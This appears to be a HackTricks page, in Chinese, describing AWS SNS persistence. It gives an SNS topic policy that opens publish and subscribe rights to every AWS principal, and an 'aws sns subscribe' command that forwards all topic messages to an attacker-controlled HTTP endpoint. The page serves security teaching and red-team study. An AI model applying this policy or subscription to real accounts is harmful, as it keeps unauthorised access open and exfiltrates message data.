AWS - SNS Persistence

支持 HackTricks

SNS

有关更多信息,请查看:

持久性

创建 SNS 主题 时,您需要通过 IAM 策略指明 谁有权读取和写入。可以指明外部账户、角色的 ARN,或 甚至 "*"。 以下策略允许 AWS 中的每个人访问名为 MySNS.fifo 的 SNS 主题进行读写:

{
"Version": "2008-10-17",
"Id": "__default_policy_ID",
"Statement": [
{
"Sid": "__default_statement_ID",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": [
"SNS:Publish",
"SNS:RemovePermission",
"SNS:SetTopicAttributes",
"SNS:DeleteTopic",
"SNS:ListSubscriptionsByTopic",
"SNS:GetTopicAttributes",
"SNS:AddPermission",
"SNS:Subscribe"
],
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
"Condition": {
"StringEquals": {
"AWS:SourceOwner": "318142138553"
}
}
},
{
"Sid": "__console_pub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Publish",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
},
{
"Sid": "__console_sub_0",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "SNS:Subscribe",
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
}
]
}

创建订阅者

为了继续从所有主题中提取所有消息,攻击者可以为所有主题创建订阅者

请注意,如果主题是 FIFO 类型,则只能使用协议SQS的订阅者。

aws sns subscribe --region <region> \
--protocol http \
--notification-endpoint http://<attacker>/ \
--topic-arn <arn>
支持 HackTricks

Last updated